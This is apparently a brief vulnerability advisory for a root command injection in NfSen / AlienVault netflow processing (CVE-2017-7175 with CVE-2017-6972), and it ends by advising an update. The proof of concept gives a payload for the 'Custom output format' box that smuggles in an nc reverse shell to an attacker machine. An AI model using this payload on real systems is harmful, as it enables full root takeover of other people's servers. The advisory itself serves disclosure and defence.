1. Description
|
|
|
|
A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request with shell commands which will be executed as root on a vulnerable system. The injection is covered by CVE-2017-7175, and the commands are executed as root due to CVE-2017-6972.
|
|
|
|
2. Proof of Concept
|
|
|
|
|
|
For a reverse shell to attacking machine 10.100.1.2, on the NfSen / AlienVault netflow processing web page, enter the following into the "Custom output format:" input box:
|
|
|
|
'; nc -ne /bin/bash 10.100.1.2 443 #
|
|
|
|
If nc is not installed on the target, then alternative attacks are likely to be possible to leverage the vulnerability.
|
|
|
|
3. Solution:
|
|
|
|
Update to latest version of NfSen/USM/OSSIM |
